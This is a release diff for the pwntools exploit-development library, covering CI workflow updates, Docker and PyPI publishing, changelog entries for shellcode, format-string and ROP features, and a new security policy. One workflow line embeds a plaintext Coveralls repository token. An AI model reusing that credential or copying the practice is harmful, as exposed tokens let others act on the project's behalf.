Release 4.12.0

* better error message when process creation fails in ssh.process

* add RETURN_CONST as an allowed _const_code in safeeval

* fix lint

* add to changelog

* fix changelog

* add couldn't find python warning

* Deduplicate error message code

---------

Co-authored-by: Peace-Maker <[email protected]>

.coveragerc

@@ -1,12 +0,0 @@
-[run]
-branch = True
-parallel = True
-concurrency = thread,multiprocessing
-omit =
-    */constants/*
-source =
-    pwn
-    pwnlib
-    ~/.cache/.pwntools-cache-2.7/
-    ~/.cache/.pwntools-cache-3.8/
-disable_warnings = module-not-imported

.github/dependabot.yml

@@ -0,0 +1,8 @@
+version: 2
+updates:
+
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      # Check for updates to GitHub Actions every week
+      interval: "weekly"

.github/workflows/android.yml

@@ -3,7 +3,7 @@ name: Android Tests
 on: [push, pull_request]
 
 jobs:
-  test:
+  android-test:
     strategy:
       matrix:
         python-version: [3.8]
@@ -11,17 +11,17 @@ jobs:
     runs-on: ${{ matrix.os }}
     timeout-minutes: 30
     steps:
-    - uses: actions/checkout@v2
+    - uses: actions/checkout@v4
 
     - name: Cache for pip
-      uses: actions/cache@v1
+      uses: actions/cache@v3
       id: cache-pip
       with:
         path: ~/.cache/pip
         key: ${{ matrix.os }}-cache-pip
 
     - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v1
+      uses: actions/setup-python@v4
       with:
         python-version: ${{ matrix.python-version }}
 
@@ -33,14 +33,13 @@ jobs:
           qemu-user-static \
           binutils-aarch64-linux-gnu \
           binutils-arm-linux-gnueabihf \
-          libc6-dbg \
-          openjdk-8-jre-headless
+          libc6-dbg
 
     - name: Install Android AVD
       run: |
-        USER=travis source travis/setup_avd.sh
+        source travis/setup_avd_fast.sh
         sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
-        set | egrep '^(ANDROID|PATH)' >.android.env
+        set | grep ^PATH >.android.env
 
     - name: Install dependencies
       run: |

.github/workflows/changelog.yml

@@ -1,5 +1,9 @@
 name: Changelog
-on: [pull_request]
+on:
+  pull_request:
+    paths:
+    - pwnlib/**
+    - pwn/**
 env:
   GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
 
@@ -11,7 +15,7 @@ jobs:
     runs-on: ${{ matrix.os }}
     timeout-minutes: 5
     steps:
-    - uses: actions/checkout@v2
+    - uses: actions/checkout@v4
       with:
         fetch-depth: 0
 

.github/workflows/ci.yml

@@ -5,14 +5,14 @@ jobs:
   test:
     strategy:
       matrix:
-        python-version: [2.7, 3.8]
+        python_version: ['2.7', '3.10']
         os: [ubuntu-latest]
     runs-on: ${{ matrix.os }}
     timeout-minutes: 30
     steps:
-    - uses: actions/checkout@v2
+    - uses: actions/checkout@v4
       with:
-        fetch-depth: 0
+        fetch-depth: 20
 
     - name: Git History
       run: |
@@ -20,16 +20,29 @@ jobs:
         git log --oneline --graph -10
 
     - name: Cache for pip
-      uses: actions/cache@v1
+      uses: actions/cache@v3
       id: cache-pip
       with:
         path: ~/.cache/pip
         key: ${{ matrix.os }}-cache-pip
 
-    - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v1
+    - name: Set up Python ${{ matrix.python_version }}
+      if: matrix.python_version != '2.7'
+      uses: actions/setup-python@v4
       with:
-        python-version: ${{ matrix.python-version }}
+        python-version: ${{ matrix.python_version }}
+
+    - name: Set up Python 2.7
+      if: matrix.python_version == '2.7'
+      run: |
+        sudo apt-get update
+        sudo apt-get install -y \
+          python2.7 python2.7-dev python2-pip-whl
+        sudo ln -sf python2.7 /usr/bin/python
+        export PYTHONPATH=`echo /usr/share/python-wheels/pip-*py2*.whl`
+        sudo --preserve-env=PYTHONPATH python -m pip install --upgrade pip setuptools wheel
+        sudo chown -R $USER /usr/local/lib/python2.7
+
 
     - name: Verify tag against version
       if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
@@ -49,7 +62,8 @@ jobs:
         sudo apt-get update
         sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
           ash bash-static dash ksh mksh zsh \
-          pandoc gdb gdbserver socat sshpass \
+          python3-rpyc \
+          gdb gdbserver socat \
           binutils-multiarch qemu-user-static \
           binutils-aarch64-linux-gnu \
           binutils-arm-linux-gnueabihf \
@@ -59,13 +73,10 @@ jobs:
           binutils-s390x-linux-gnu \
           binutils-sparc64-linux-gnu \
           gcc-multilib \
-          libc6-dbg
-
-    - name: Install RPyC for GDB
-      run: |
-        sudo apt-get install -y python3-pip
-        /usr/bin/python3 -m pip install rpyc
-
+          libc6-dbg \
+          elfutils \
+          patchelf
+      
     - name: Testing Corefiles
       run: |
         ulimit -a
@@ -81,18 +92,19 @@ jobs:
     - name: Install dependencies
       run: |
         pip install --upgrade pip
+        pip install --upgrade wheel build
         pip install --upgrade flake8 appdirs
-        python setup.py egg_info
         pip install --upgrade --editable .
 
     - name: Sanity checks
       run:  PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
 
     - name: Install documentation dependencies
-      run:  pip install -r docs/requirements.txt
+      run: pip install -r docs/requirements.txt
 
     - name: Manually install non-broken Unicorn
-      run:  pip install unicorn==1.0.2rc3
+      if:   matrix.python_version == '2.7'
+      run:  pip install unicorn==2.0.0rc7
 
     - name: Disable yama ptrace_scope
       run: |
@@ -140,6 +152,11 @@ jobs:
         pwn disasm --color ff3424c3ebfe
         pwn asm -f hex nop
 
+        pwn hex ABCD
+        pwn hex ABCD --separator ' '
+        pwn hex ABCD --prefix '\x'
+        pwn hex ABCD -p '0x' -s ' '
+
         pwn hex abcd
         pwn unhex 4141 4141
 
@@ -156,27 +173,55 @@ jobs:
         pwn constgrep ^MAP_ 0
         pwn constgrep -e O_RDWR
 
-    - name: Build source and wheel distributions
-      run: |
-        python setup.py sdist
-        python setup.py bdist_wheel --universal
+        pwn libcdb file /lib/x86_64-linux-gnu/libc.so.6
+        pwn libcdb lookup puts 5f0 __libc_start_main_ret d0a
+        pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308
 
-    - uses: actions/upload-artifact@v2
+    - name: Build source and wheel distributions
+      if: matrix.python_version > '2.7'
+      run: |
+        python -m build
+
+    - uses: actions/upload-artifact@v3
       with:
         name: packages
         path: dist/
 
+    - uses: actions/upload-artifact@v3
+      with:
+        name: coverage
+        path: .coverage*
+
+
+  upload-coverage:
+    runs-on: ubuntu-latest
+    needs: test
+    steps:
+    - uses: actions/checkout@v4
+      with:
+        fetch-depth: 20
+
+    - uses: actions/download-artifact@v3
+      with:
+        name: coverage
+        path: .
+
+    - name: Install coveralls
+      run: |
+        pip install tomli coveralls
+
     - name: Upload coverage to coveralls.io
       run: |
         coverage combine
         COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
 
+
   staging-merge:
     runs-on: ubuntu-latest
     if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
     needs: test
     steps:
-    - uses: actions/checkout@v2
+    - uses: actions/checkout@v4
       with:
         fetch-depth: 20
     - name: Push changes to protected branch
@@ -189,22 +234,22 @@ jobs:
         git push origin "$TARGET"
         git push origin --delete "$BRANCH"
 
+
   pypi:
     runs-on: ubuntu-latest
     if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
+    permissions:
+      id-token: write
     needs: test
     steps:
     - name: Download artifacts
-      uses: actions/download-artifact@v2
+      uses: actions/download-artifact@v3
       with:
         name: packages
         path: dist
 
     - name: Publish package
-      uses: pypa/gh-action-pypi-publish@v1.1.0
-      with:
-        user: __token__
-        password: ${{ secrets.pypi_password }}
+      uses: pypa/gh-action-pypi-publish@release/v1
 
     - if: failure()
       run: ls -R

.github/workflows/docker.yml

@@ -0,0 +1,64 @@
+name: Publish Docker images
+on:
+  push:
+    branches:
+      - dev
+      - beta
+      - stable
+  workflow_dispatch:
+jobs:
+  publish:
+    runs-on: ubuntu-latest
+    if: github.repository_owner == 'Gallopsled'
+    steps:
+      # Required for subdirectories in Git context
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@v2
+
+      - name: Login to Docker Hub
+        uses: docker/login-action@v2
+        with:
+          username: ${{ secrets.DOCKERHUB_USERNAME }}
+          password: ${{ secrets.DOCKERHUB_PASSWORD }}
+
+      - name: Build and push base image
+        uses: docker/build-push-action@v4
+        if: github.event_name == 'workflow_dispatch'
+        with:
+          context: "{{defaultContext}}:extra/docker/base"
+          push: true
+          tags: pwntools/pwntools:base
+
+      - name: Build and push stable image
+        uses: docker/build-push-action@v4
+        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')
+        with:
+          context: "{{defaultContext}}:extra/docker/stable"
+          push: true
+          tags: pwntools/pwntools:stable
+
+      - name: Build and push beta image
+        uses: docker/build-push-action@v4
+        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')
+        with:
+          context: "{{defaultContext}}:extra/docker/beta"
+          push: true
+          tags: pwntools/pwntools:beta
+
+      - name: Build and push dev image
+        uses: docker/build-push-action@v4
+        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
+        with:
+          context: "{{defaultContext}}:extra/docker/dev"
+          push: true
+          tags: |
+            pwntools/pwntools:dev
+            pwntools/pwntools:latest
+
+      - name: Build and push ci image
+        uses: docker/build-push-action@v4
+        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
+        with:
+          context: "{{defaultContext}}:travis/docker"
+          push: true
+          tags: pwntools/pwntools:ci

.github/workflows/lint.yml

@@ -10,16 +10,16 @@ jobs:
     runs-on: ${{ matrix.os }}
     timeout-minutes: 30
     steps:
-    - uses: actions/checkout@v2
+    - uses: actions/checkout@v4
     - name: Cache for pip
-      uses: actions/cache@v1
+      uses: actions/cache@v3
       id: cache-pip
       with:
         path: ~/.cache/pip
         key: ${{ matrix.os }}-cache-pip
 
     - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v1
+      uses: actions/setup-python@v4
       with:
         python-version: ${{ matrix.python-version }}
 

.github/workflows/merge-conflict.yml

@@ -1,5 +1,7 @@
 name: Check for merge markers
-on: [pull_request]
+on:
+  pull_request:
+    types: [synchronize]
 env:
   GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
 
@@ -11,7 +13,7 @@ jobs:
     runs-on: ${{ matrix.os }}
     timeout-minutes: 5
     steps:
-    - uses: actions/checkout@v2
+    - uses: actions/checkout@v4
       with:
         fetch-depth: 0
 

.github/workflows/pylint.yml

@@ -10,16 +10,16 @@ jobs:
     runs-on: ${{ matrix.os }}
     timeout-minutes: 30
     steps:
-    - uses: actions/checkout@v2
+    - uses: actions/checkout@v4
     - name: Cache for pip
-      uses: actions/cache@v1
+      uses: actions/cache@v3
       id: cache-pip
       with:
         path: ~/.cache/pip
         key: ${{ matrix.os }}-cache-pip
 
     - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v1
+      uses: actions/setup-python@v4
       with:
         python-version: ${{ matrix.python-version }}
 
@@ -27,11 +27,11 @@ jobs:
       run: |
         set -x
         pip install pylint
-        pip install --upgrade -r requirements.txt
-        pylint --exit-zero --errors-only  pwnlib > current.txt
+        pip install --upgrade -e .
+        pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- > current.txt
         git fetch origin
         git checkout origin/"$GITHUB_BASE_REF"
-        pylint --exit-zero --errors-only  pwnlib > base.txt
+        pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- > base.txt
         if diff base.txt current.txt | grep '>'; then
           false
         fi

.gitignore

@@ -21,3 +21,4 @@ venv
 .idea
 __pycache__
 !.github
+.DS_Store

.readthedocs.yaml

@@ -0,0 +1,12 @@
+# https://docs.readthedocs.io/en/stable/config-file/v2.html
+
+version: 2
+
+build:
+  os: ubuntu-22.04
+  tools:
+    python: "3"
+
+python:
+  install:
+  - requirements: docs/requirements.txt

.travis.yml

@@ -1,66 +0,0 @@
-language: python
-addons:
-  apt:
-    packages:
-    - lib32stdc++6
-    - ash
-    - bash
-    - dash
-    - ksh
-    - mksh
-    - zsh
-    - pandoc
-    - gdb
-    - socat
-    - sshpass
-    - binutils
-    - qemu-user-static
-    - binutils-multiarch
-    - binutils-aarch64-linux-gnu
-    - binutils-arm-linux-gnueabihf
-    - binutils-mips-linux-gnu
-    - binutils-msp430
-    - binutils-powerpc-linux-gnu
-    - binutils-s390x-linux-gnu
-    - binutils-sparc64-linux-gnu
-    - bash-static
-    - python3-pip
-cache:
-    - pip
-    - directories:
-        - usr
-        - /home/travis/virtualenv/python2.7.15/lib/python2.7/site-packages/
-        - /home/travis/virtualenv/python2.7.15/bin/
-        - /home/travis/virtualenv/python3.8.*/lib/python3.8/site-packages/
-        - /home/travis/virtualenv/python3.8.*/bin/
-        - docs/build/doctest/.doctrees
-python:
-  - "2.7"
-  - "3.8"
-before_install:
-  - echo $-
-  - source travis/install.sh
-  - source travis/ssh_setup.sh
-  - echo $-
-install:
-  - /usr/bin/python3 -m pip install rpyc # for GDB
-  - pip install --upgrade pip
-  - pip install --upgrade flake8 appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
-  - python setup.py egg_info      # pypa/pip#6275
-  - pip install --upgrade --editable .
-  - pip install --upgrade --requirement docs/requirements.txt
-before_script:
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - sudo sh -c "echo 0 > /proc/sys/kernel/yama/ptrace_scope"
-script:
-  # stop the build if there are Python syntax errors or undefined names
-  - flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
-  # exit-zero treats all errors as warnings.  The GitHub editor is 127 chars wide
-  - PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
-  - coverage combine
-after_success:
-  - coveralls
-  - source travis/update_demo.sh

CHANGELOG.md

@@ -9,9 +9,16 @@ The table below shows which release corresponds to each branch, and what date th
 
 | Version          | Branch   | Release Date           |
 | ---------------- | -------- | ---------------------- |
-| [4.9.0](#490)    | `dev`    |
-| [4.8.0](#480)    | `beta`   |
-| [4.7.0](#470)    | `stable` | Nov 15, 2021
+| [4.14.0](#4140-dev)  | `dev`   |
+| [4.13.0](#4130-beta)  | `beta`    |
+| [4.12.0](#4120-stable)  | `stable`   | Feb 22, 2024
+| [4.11.1](#4111)  |          | Nov 14, 2023
+| [4.11.0](#4110)  |          | Sep 15, 2023
+| [4.10.0](#4100)  |          | May 21, 2023
+| [4.9.0](#490)    |          | Dec 29, 2022
+| [4.8.0](#480)    |          | Apr 21, 2022
+| [4.7.1](#471)    |          | Apr 20, 2022
+| [4.7.0](#470)    |          | Nov 15, 2021
 | [4.6.0](#460)    |          | Jul 12, 2021
 | [4.5.1](#451)    |          | May 30, 2021
 | [4.5.0](#450)    |          | Apr 30, 2021
@@ -62,11 +69,164 @@ The table below shows which release corresponds to each branch, and what date th
 | [3.0.0](#300)    |          | Aug 20, 2016
 | [2.2.0](#220)    |          | Jan 5, 2015
 
-## 4.9.0 (`dev`)
+## 4.14.0 (`dev`)
 
 
+## 4.13.0 (`beta`)
 
-## 4.8.0 (`beta`)
+- [#2242][2242] Term module revamp: activating special handling of terminal only when necessary
+- [#2277][2277] elf: Resolve more relocations into GOT entries
+- [#2281][2281] FIX: Getting right amount of data for search fix
+- [#2293][2293] Add x86 CET status to checksec output
+- [#1763][1763] Allow to add to the existing environment in `process` instead of replacing it
+- [#2307][2307] Fix `pwn libcdb file` crashing if "/bin/sh" string was not found
+- [#2309][2309] Detect challenge binary and libc in `pwn template`
+- [#2308][2308] Fix WinExec shellcraft to make sure it's 16 byte aligned
+- [#2279][2279] Make `pwn template` always set context.binary
+- [#2310][2310] Add support to start a process on Windows
+- [#2335][2335] Add lookup optimizations in DynELF 
+- [#2334][2334] Speed up disasm commandline tool with colored output
+- [#2328][2328] Lookup using $PATHEXT file extensions in `which` on Windows
+- [#2189][2189] Explicitly define p64/u64 functions for IDE support
+- [#2339][2339] Fix: Allow setting attributes on gdb Breakpoints
+- [#2323][2323] Retry failed lookups after one week in libcdb
+- [#2325][2325] Match against local system libc first in libcdb
+- [#2336][2336] Add `ELF.stripped` and `ELF.debuginfo` properties
+- [#2161][2161] Add basic support for darwin shellcraft/asm/disasm/run_shellcode/run_assembly
+- [#2161][2161] Fix freebsd amd64 SyscallABI
+- [#2160][2161] Fix invalid shellcraft.mov on arm64
+- [#2284][2161] Fix invalid shellcraft.pushstr_array on arm64
+- [#2345][2345] Fix pwn constgrep when it matches a non-constant type
+- [#2338][2338] Fix: follow symlink for libs on ssh connection
+- [#2341][2341] Launch GDB correctly in iTerm on Mac
+- [#2268][2268] Add a `flatten` argument to `ssh.libs`
+- [#2347][2347] Fix/workaround Unicorn Engine 1GB limit that calls exit()
+- [#2233][2233] Fix gdb.debug: exe parameter now respected, allow empty argv
+
+[2242]: https://github.com/Gallopsled/pwntools/pull/2242
+[2277]: https://github.com/Gallopsled/pwntools/pull/2277
+[2281]: https://github.com/Gallopsled/pwntools/pull/2281
+[2293]: https://github.com/Gallopsled/pwntools/pull/2293
+[1763]: https://github.com/Gallopsled/pwntools/pull/1763
+[2307]: https://github.com/Gallopsled/pwntools/pull/2307
+[2309]: https://github.com/Gallopsled/pwntools/pull/2309
+[2308]: https://github.com/Gallopsled/pwntools/pull/2308
+[2279]: https://github.com/Gallopsled/pwntools/pull/2279
+[2310]: https://github.com/Gallopsled/pwntools/pull/2310
+[2335]: https://github.com/Gallopsled/pwntools/pull/2335
+[2334]: https://github.com/Gallopsled/pwntools/pull/2334
+[2328]: https://github.com/Gallopsled/pwntools/pull/2328
+[2189]: https://github.com/Gallopsled/pwntools/pull/2189
+[2339]: https://github.com/Gallopsled/pwntools/pull/2339
+[2323]: https://github.com/Gallopsled/pwntools/pull/2323
+[2325]: https://github.com/Gallopsled/pwntools/pull/2325
+[2336]: https://github.com/Gallopsled/pwntools/pull/2336
+[2161]: https://github.com/Gallopsled/pwntools/pull/2161
+[2345]: https://github.com/Gallopsled/pwntools/pull/2345
+[2338]: https://github.com/Gallopsled/pwntools/pull/2338
+[2341]: https://github.com/Gallopsled/pwntools/pull/2341
+[2268]: https://github.com/Gallopsled/pwntools/pull/2268
+[2347]: https://github.com/Gallopsled/pwntools/pull/2347
+[2233]: https://github.com/Gallopsled/pwntools/pull/2233
+
+## 4.12.0 (`stable`)
+
+- [#2202][2202] Fix `remote` and `listen` in sagemath
+- [#2117][2117] Add -p (--prefix) and -s (--separator) arguments to `hex` command
+- [#2221][2221] Add shellcraft.sleep template wrapping SYS_nanosleep
+- [#2219][2219] Fix passing arguments on the stack in shellcraft syscall template
+- [#2212][2212] Add `--libc libc.so` argument to `pwn template` command
+- [#2257][2257] Allow creation of custom templates for `pwn template` command
+- [#2225][2225] Allow empty argv in ssh.process()
+- [#2349][2349] Fix term.readline omitting a trailing \n
+- [#2352][2352] add `RETURN_CONST` as an allowed `_const_code` in safeeval
+
+[2202]: https://github.com/Gallopsled/pwntools/pull/2202
+[2117]: https://github.com/Gallopsled/pwntools/pull/2117
+[2221]: https://github.com/Gallopsled/pwntools/pull/2221
+[2219]: https://github.com/Gallopsled/pwntools/pull/2219
+[2212]: https://github.com/Gallopsled/pwntools/pull/2212
+[2257]: https://github.com/Gallopsled/pwntools/pull/2257
+[2225]: https://github.com/Gallopsled/pwntools/pull/2225
+[2349]: https://github.com/Gallopsled/pwntools/pull/2349
+[2352]: https://github.com/Gallopsled/pwntools/pull/2352
+
+## 4.11.1
+
+- [#2271][2271] FIX: Generated shebang with path to python invalid if path contains spaces
+- [#2272][2272] Fix `tube.clean_and_log` not logging buffered data
+- [#2281][2281] FIX: Getting right amount of data for search fix
+- [#2287][2287] Fix `_countdown_handler` not invoking `timeout_change`
+- [#2294][2294] Fix atexit SEGV in aarch64 loader
+
+[2271]: https://github.com/Gallopsled/pwntools/pull/2271
+[2272]: https://github.com/Gallopsled/pwntools/pull/2272
+[2281]: https://github.com/Gallopsled/pwntools/pull/2281
+[2287]: https://github.com/Gallopsled/pwntools/pull/2287
+[2294]: https://github.com/Gallopsled/pwntools/pull/2294
+
+## 4.11.0
+
+- [#2185][2185] make fmtstr module able to create payload without $ notation 
+- [#2103][2103] Add search for libc binary by leaked function addresses `libcdb.search_by_symbol_offsets()`
+- [#2177][2177] Support for RISC-V 64-bit architecture
+- [#2186][2186] Enhance `ELF.nx` and `ELF.execstack`
+- [#2129][2129] Handle `context.newline` correctly when typing in `tube.interactive()`
+- [#2214][2214] Fix bug at ssh.py:`download` and `download_file` with relative paths
+- [#2241][2241] Fix ssh.process not setting ssh_process.cwd attribute
+- [#2261][2261] Fix corefile module after pyelftools update
+
+[2185]: https://github.com/Gallopsled/pwntools/pull/2185
+[2103]: https://github.com/Gallopsled/pwntools/pull/2103
+[2177]: https://github.com/Gallopsled/pwntools/pull/2177
+[2186]: https://github.com/Gallopsled/pwntools/pull/2186
+[2129]: https://github.com/Gallopsled/pwntools/pull/2129
+[2214]: https://github.com/Gallopsled/pwntools/pull/2214
+[2241]: https://github.com/Gallopsled/pwntools/pull/2241
+[2261]: https://github.com/Gallopsled/pwntools/pull/2261
+
+## 4.10.0
+
+In memoriam — [Zach Riggle][zach] — long time contributor and maintainer of Pwntools.
+
+- [#2062][2062] make pwn cyclic -l work with entry larger than 4 bytes
+- [#2092][2092] shellcraft: dup() is now called dupio() consistently across all supported arches
+- [#2093][2093] setresuid() in shellcraft uses current euid by default
+- [#2125][2125] Allow tube.recvregex to return capture groups
+- [#2144][2144] Removes `p2align 2` `asm()` headers from `x86-32`, `x86-64` and `mips` architectures to avoid inconsistent instruction length when patching binaries
+
+[2062]: https://github.com/Gallopsled/pwntools/pull/2062
+[2092]: https://github.com/Gallopsled/pwntools/pull/2092
+[2093]: https://github.com/Gallopsled/pwntools/pull/2093
+[2125]: https://github.com/Gallopsled/pwntools/pull/2125
+[2144]: https://github.com/Gallopsled/pwntools/pull/2144
+[zach]: https://github.com/zachriggle
+
+## 4.9.0
+
+- [#1975][1975] Add libcdb commandline tool
+- [#1979][1979] Add `js_escape()` and `js_unescape()` to `util.fiddling`
+- [#2011][2011] Fix tube's debug output of same byte compression
+- [#2023][2023] Support KDE Konsole in run_in_new_terminal function
+- [#2027][2027] Fix ELF.libc_start_main_return with glibc 2.34
+- [#2033][2033] Quote file and core path in generated GDB script
+- [#2035][2035] Change Buffer's parent class to object
+- [#2037][2037] Allow SSH tunnel to be treated like a TCP socket (with 'raw=True')
+- [#2123][2123] Fix ROP without a writeable cache directory
+- [#2124][2124] Fix `tube.recvpred()` timeout argument
+
+[1975]: https://github.com/Gallopsled/pwntools/pull/1975
+[1979]: https://github.com/Gallopsled/pwntools/pull/1979
+[2011]: https://github.com/Gallopsled/pwntools/pull/2011
+[2023]: https://github.com/Gallopsled/pwntools/pull/2023
+[2027]: https://github.com/Gallopsled/pwntools/pull/2027
+[2033]: https://github.com/Gallopsled/pwntools/pull/2033
+[2035]: https://github.com/Gallopsled/pwntools/pull/2035
+[2037]: https://github.com/Gallopsled/pwntools/pull/2037
+[2123]: https://github.com/Gallopsled/pwntools/pull/2123
+[2124]: https://github.com/Gallopsled/pwntools/pull/2124
+
+## 4.8.0
 
 - [#1922][1922] Fix logic in `wait_for_debugger`
 - [#1828][1828] libcdb: Load debug info and unstrip libc binary
@@ -78,7 +238,24 @@ The table below shows which release corresponds to each branch, and what date th
 [1939]: https://github.com/Gallopsled/pwntools/pull/1939
 [1981]: https://github.com/Gallopsled/pwntools/pull/1981
 
-## 4.7.0 (`stable`)
+## 4.7.1
+
+- [#1784][1784] Use temporary cache directory when persistent cache cannot be used
+- [#1973][1973] ELF symbols can be looked up by bytes values
+- several bugfixes ([#2012][2012], [#2031][2031], [#1912][1912], [#1961][1961],
+[#2007][2007], [#2040][2040], [#2051][2051])
+
+[1784]: https://github.com/Gallopsled/pwntools/pull/1784
+[1912]: https://github.com/Gallopsled/pwntools/pull/1912
+[1961]: https://github.com/Gallopsled/pwntools/pull/1961
+[1973]: https://github.com/Gallopsled/pwntools/pull/1973
+[2007]: https://github.com/Gallopsled/pwntools/pull/2007
+[2012]: https://github.com/Gallopsled/pwntools/pull/2012
+[2031]: https://github.com/Gallopsled/pwntools/pull/2031
+[2040]: https://github.com/Gallopsled/pwntools/pull/2040
+[2051]: https://github.com/Gallopsled/pwntools/pull/2051
+
+## 4.7.0
 
 - [#1733][1733] Update libc headers -> more syscalls available!
 - [#1876][1876] add `self.message` and change `sys.exc_type` to `sys.exec_info()` in PwnlibException

MANIFEST.in

@@ -1,7 +1,9 @@
+graft build
 graft examples
 graft extra
+graft travis
 include *.md *.txt *.sh *.yml MANIFEST.in
 recursive-include docs   *.rst *.png Makefile *.py *.txt
 recursive-include pwnlib *.py *.asm *.rst *.md *.txt *.sh __doc__ *.mako
 recursive-include pwn    *.py *.asm *.rst *.md *.txt *.sh
-recursive-exclude *.pyc
+global-exclude *.pyc

README.md

@@ -3,10 +3,10 @@
 
 [![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
 [![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
-[![Travis](https://img.shields.io/travis/Gallopsled/pwntools/dev?logo=Travis)](https://travis-ci.org/Gallopsled/pwntools)
-[![GitHub Workflow Status (branch)](https://img.shields.io/github/workflow/status/Gallopsled/pwntools/Continuous%20Integration/dev?logo=GitHub)](https://github.com/Gallopsled/pwntools/actions?query=workflow%3A%22Continuous+Integration%22+branch%3Adev)
+[![GitHub Workflow Status (dev)](https://img.shields.io/github/actions/workflow/status/Gallopsled/pwntools/ci.yml?branch=dev&logo=GitHub)](https://github.com/Gallopsled/pwntools/actions/workflows/ci.yml?query=branch%3Adev)
 [![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
 [![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)
+[![Packaging status](https://img.shields.io/repology/repositories/python:pwntools)](https://repology.org/project/python:pwntools/versions)
 [![Discord](https://img.shields.io/discord/809590285687980052?label=Discord&style=plastic)](https://discord.gg/96VA2zvjCB)
 [![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools)
 

SECURITY.md

@@ -0,0 +1,32 @@
+# Security Policy
+
+## Supported Versions
+
+| Version       | Supported          |
+| ------------- | ------------------ |
+| latest dev    | :white_check_mark: |
+| latest beta   | :white_check_mark: |
+| latest stable | :white_check_mark: |
+| anything else | :x: |
+
+## Reporting a Vulnerability
+
+The aim of pwntools is exploiting software vulnerabilities, which is an unusual position, but it nevertheless can have its own security issues.
+Especially that an attacker (=re-victim) is usually not prepared to be attacked back (by the re-attacker).
+
+The first question to ask yourself is: is this an actual vulnerability?
+- can it be triggered by a re-attacker (malicious honeypot pretending to be a vulnerable service)?
+- does it impact the attacker (=re-victim)?
+- is it serious?
+  * *availability: medium* means *at least* exhausting RAM or disk space of the attacker (=re-victim)
+  * *confidentiality: medium* means *at least* reading the filesystem of the attacker (=re-victim)
+  * *integrity: medium* means *at least* performing uncontrolled actions or data corruption on behalf of the attacker (=re-victim)
+  * if crucial for some sophisticated exploit chain, it is always serious
+  * `safe_eval` bypasses **are** serious.
+  * an example of what was **kind of** serious: [#1732](https://github.com/Gallopsled/pwntools/pull/1732)
+- can it be fixed without compromising on Pwntools' usability?
+
+If at least one of the answers is no, then this is NOT a vulnerability, so just file a bug report or feature request, without the weird confidential disclosure dance.
+
+Just e-mail the maintainers.  Arusekk is the one that is currently the most excited to fix vulnerabilities.
+Or create a CTF task!  Prove a point the good old hacker way!

docs/Makefile

@@ -6,7 +6,6 @@ SPHINXOPTS    =
 SPHINXBUILD   = sphinx-build
 PAPER         =
 BUILDDIR      = build
-DASHBUILD     = ./dashbuild.py
 TAR           = tar
 
 # Internal variables.
@@ -145,8 +144,8 @@ gettext:
 	@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
 
 dash:
-	$(DASHBUILD) source $(BUILDDIR)/dash
-	$(TAR) --exclude='.DS_Store' -cvzf $(BUILDDIR)/dash/pwntools.tgz -C $(BUILDDIR)/dash pwntools.docset
+	$(SPHINXBUILD) -b html -d $(BUILDDIR)/doctrees -t dash source $(BUILDDIR)/html
+	doc2dash $(BUILDDIR)/html -d $(BUILDDIR)/dash -n pwntools -f -I index.html
 	@echo "Build finished. The Dash docset is in $(BUILDDIR)/dash."
 
 changes:

docs/dashbuild.py

@@ -1,99 +0,0 @@
-#!/usr/bin/env python
-
-# -*- coding: utf-8 -*-
-
-#
-# Helper to build Dash docset from sphinx source files.
-#
-# Dash docsets can be read by various applications:
-#
-# Dash         OS X, iOS         https://kapeli.com
-# Zeal         Linux, Windows    https://zealdocs.org
-# Velocity     Windows           http://velocity.silverlakesoftware.com
-# LovelyDocs   Android           http://lovelydocs.io
-# dasht        POSIX             https://github.com/sunaku/dasht
-# Helm Dash    emacs             https://github.com/areina/helm-dash
-#
-
-import argparse
-import doc2dash.__main__
-import os, os.path
-import sphinx
-import sqlite3
-import sys
-
-sys.path.append(os.path.abspath(os.path.join('..', 'pwnlib')))
-import version
-
